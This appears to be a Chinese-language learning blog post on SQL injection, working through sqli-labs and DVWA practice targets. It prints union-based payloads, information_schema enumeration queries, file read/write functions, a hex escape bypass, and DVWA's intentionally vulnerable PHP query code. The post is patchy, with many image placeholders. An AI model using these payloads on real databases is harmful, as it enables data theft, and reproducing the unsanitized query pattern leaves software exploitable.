先看菜鸟教程中HTTP的知识,HTTP是为了保证客户端与服务器之间的通信。HTTP的请求方法有两种:GET和POST。GET是从服务器上获得数据,POST是向服务器传递数据。
Web 程序三层架构:
首先,我们先了解一下web程序的三层架构:表示层,业务逻辑层,数据访问层。
用户访问一个主页主要有以下过程
web浏览器上输入网站域名连接到业务逻辑层服务器,然后从本地存储中加载index.php并进行解析。脚本连接位于数据访问层的DBMS,并执行sql语句DBMS将sql语句的执行结果返回给web服务器。服务器将页面封装成HTML格式发送给web表示层。表示层的web浏览器解析HTML文件,并把内容展示给用户。
Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。
这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。这就是SQL注入漏洞的原理。
SQL注入概念:
就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。通过构造恶意的输入,使数据库执行恶意命令,造成数据泄露或者修改内容等,以达到攻击的目的。主要是由于应用程序对用户的输入没有进行严格的过滤而造成的。
判断是否存在 Sql 注入漏洞
最为经典的单引号判断法:
在参数后面加上单引号,比如:
判断注入类型:如果页面返回错误,则存在 Sql 注入。原因是无论字符型还是整型都会因为单引号个数不匹配而报错。如果未报错,不代表没有sql注入漏洞。
攻击过程
数字型注入 (sql labs -2)为例
1.判断注入点
加and 1=1 页面正常,and 1=2 页面异常或者报错,如果页面报错,说明后台数据库处理了我们输入的数据,那么能极有可能存在数值型sql注入
2.猜字段数
url为?id=1 order by 4#,页面出错。
改成id=1 order by 3#,页面正确。
3.确定显示位
通过联合查询确认显示位 ?id=1 union select 1,2,3--+
4.通过显示位进行信息收集
常见sql注入函数
user():用户名
version():mysql版本
database():数据库名
@@datadir:读取数据库路径
@@plugin_dir:读取插件位置
select load_file(读文件的路径)
length() =>计算字符串长度
hex() =>字符转换为16进制
@@basedir MYSQL获取安装路径
select current_user() 查询当前用户
select system_user() 查看系统用户
@@version_compile_os:操作系统版本
into outfile:写文件{select ‘需要写的文件’ into outfile ‘目录下’}
group_concat(列名):会把这一列中所有的内容在一行中以,隔开输出
concat(str1,str2,…):没有分割符地连接字符串,显示数据(数据合并)
select ‘123123’ into outfile ‘d://study/1.txt’;(将123123添加至d盘study中新建1.txt文件中)
group_concat(str1,str2,…):连接一个组的所有字符串,并以逗号分割每一条数据,显示数据
concat_ws(separator,str1,str2):用分隔符连接两个字段的字符串
group_concat(concat_ws(seperator,str1,str2)):将多行查询结果以逗号分隔全部输出,
http://127.0.0.1/sqli-labs/Less-2/?id=-1%20union%20select%201,database(),user()#
查询数据库和用户名
字符型注入(sql labs1)为例
当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号或其它特殊符号来闭合,而字符串一般需要通过特殊符号,如单引号来闭合的。
?id=1' and '1'='1页面正确,?id=1' and '1'='2错误说明是字符型注入。
?id=-1' union select 1,2,3'
报错型sql注入
原理:SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,例如:后台开启了echo mysql_error() 输出了错误信息,这时候我们可以使用多次查询插入重复键值导致count报错从而在报错信息中带入了敏感信息使得查询结果能够出现在错误信息中,通过这种方法,我们可以构造恶意语句让数据库回显敏感信息到前端页面来,这个方法在我们无法使用联合查询且前端能返回错误信息的情况下非常实用
dvwav靶场
手工注入常规思路
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定回显位置
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.得到数据
eazy
图片.png
是一个登录框,首先看一下源码
<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysql_query( $query ) or die( ' mysql_error() . ); // Get results $num = mysql_numrows( $result ); $i = 0; while( $i < $num ) { // Get values $first = mysql_result( $result, $i, "first_name" ); $last = mysql_result( $result, $i, "last_name" ); // Feedback for end user echo "<pre>ID: {$id} //Increase loop count $i++; } mysql_close(); } ?>
输入1‘ and ’1‘ = ’1 正常 1‘ and ’1‘ =’2不正常,说明是字符型注入
再判断列数,直到,1‘ order by 3开始报错,说明有两列
获取数据库的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
刚才提到了group_concat这个函数,但对这个函数的使用还不是特别了解
再来复习一下
不讲理论,直接上栗子
这个时候我们就可以看到,通过ID 将他们分成了两种。
接下来,我们该获取表中的字段名
接下来获取字段中的数据
中级显然跟初级不一样,这个时候我们只能选择ID 不能,手动输入,我们查看一下源码
然后id = 1 and 1=2
报错,说明存在注入,且注入方式为数字型注入
二:判断字段数
说明有两个字段
三:查表
四:获取字段名
单引号被转义,所以通过十六进制绕过
五:获取数据
今天就先学做到这。
首先,以get方式传submit这个参数,然后查找数据库,然后后面的意思就是输入数字,就会返回 ID Fisrt name lastname
按照上面的方法。
先判断注入类型
图片.png
输入1 and 1=1和1 and 1=2 没变化,说明不是数字型注入
图片.png
图片.png
图片.png
图片.png
图片.png
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
图片.png
图片.png
medium
图片.png
发现多了一个这个
一:
查一下这个函数
mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。
抓包看一下,id=1这可能会有数字型注入
图片.png
图片.png
图片.png
图片.png
图片.png
图片.png
图片.png
图片.png